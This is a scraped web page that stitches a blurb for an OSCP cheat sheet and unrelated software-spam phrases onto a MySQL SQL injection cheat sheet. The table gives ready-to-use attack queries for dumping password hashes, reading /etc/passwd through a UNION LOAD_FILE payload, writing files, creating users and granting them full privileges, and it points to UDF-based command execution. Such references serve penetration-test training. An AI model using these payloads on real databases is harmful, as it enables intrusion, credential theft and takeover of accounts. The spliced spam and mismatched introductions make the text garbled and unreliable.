JustTryHarder, a cheat sheet which will aid you through the PWK course & the OSCP Exam. (Inspired by PayloadAllTheThings) Feel free to submit a Pull Request & leave a star to share some love if this helped you. I’m sure we all (pentesters) make extensive use of pentestmonkey’s SQL injection cheat sheets. Avid pro tools 10 free mac. They are touchstones when it comes down to SQL injection, and most of the time they save the day. However, DB2 cheat sheet is one of the less complete in pentestmonkey’s website.
Some useful syntax reminders for SQL Injection into MySQL databases…
Pdfoutliner 1.4 free for mac. This post is part of a series of SQL Injection Cheat Sheets. In this series, I’ve endevoured to tabulate the data to make it easier to read and to use the same table for for each database backend. This helps to highlight any features which are lacking for each database, and enumeration techniques that don’t apply and also areas that I haven’t got round to researching yet.
The complete list of SQL Injection Cheat Sheets I’m working is:
I’m not planning to write one for MS Access, but there’s a great MS Access Cheat Sheet here.
Some of the queries in the table below can only be run by an admin. These are marked with “– priv” at the end of the query.
| Version | SELECT @@version |
| Comments | SELECT 1; #comment SELECT /*comment*/1; |
| Current User | SELECT user(); SELECT system_user(); |
| List Users | SELECT user FROM mysql.user; — priv |
| List Password Hashes | SELECT host, user, password FROM mysql.user; — priv |
| Password Cracker | John the Ripper will crack MySQL password hashes. |
| List Privileges | SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; — list user privsSELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; — priv, list user privsSELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; — list privs on databases (schemas)SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; — list privs on columns |
| List DBA Accounts | SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘SUPER’;SELECT host, user FROM mysql.user WHERE Super_priv = ‘Y’; # priv |
| Current Database | SELECT database() |
| List Databases | SELECT schema_name FROM information_schema.schemata; — for MySQL >= v5.0 SELECT distinct(db) FROM mysql.db — priv |
| List Columns | SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ |
| List Tables | SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ |
| Find Tables From Column Name | SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = ‘username’; — find table which have a column called ‘username’ |
| Select Nth Row | SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0 SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered from 0 |
| Select Nth Char | SELECT substr(‘abcd’, 3, 1); # returns c |
| Bitwise AND | SELECT 6 & 2; # returns 2 SELECT 6 & 1; # returns 0 |
| ASCII Value -> Char | SELECT char(65); # returns A |
| Char -> ASCII Value | SELECT ascii(‘A’); # returns 65 |
| Casting | SELECT cast(’1′ AS unsigned integer); SELECT cast(’123′ AS char); |
| String Concatenation | SELECT CONCAT(‘A’,'B’); #returns AB SELECT CONCAT(‘A’,'B’,'C’); # returns ABC |
| If Statement | SELECT if(1=1,’foo’,'bar’); — returns ‘foo’ |
| Case Statement | SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; # returns A |
| Avoiding Quotes | SELECT 0×414243; # returns ABC |
| Time Delay | SELECT BENCHMARK(1000000,MD5(‘A’)); SELECT SLEEP(5); # >= 5.0.12 |
| Make DNS Requests | Impossible? |
| Command Execution | If mysqld (<5.0) is running as root AND you compromise a DBA account you can execute OS commands by uploading a shared object file into /usr/lib (or similar). The .so file should contain a User Defined Function (UDF). raptor_udf.c explains exactly how you go about this. Remember to compile for the target architecture which may or may not be the same as your attack platform. |
| Local File Access | …’ UNION ALL SELECT LOAD_FILE(‘/etc/passwd’) — priv, can only read world-readable files. SELECT * FROM mytable INTO dumpfile ‘/tmp/somefile’; — priv, write to file system |
| Hostname, IP Address | SELECT @@hostname; |
| Create Users | CREATE USER test1 IDENTIFIED BY ‘pass1′; — priv |
| Delete Users | DROP USER test1; — priv |
| Make User DBA | GRANT ALL PRIVILEGES ON *.* TO test1@’%'; — priv |
| Location of DB files | SELECT @@datadir; |
| Default/System Databases | information_schema (>= mysql 5.0) mysql |
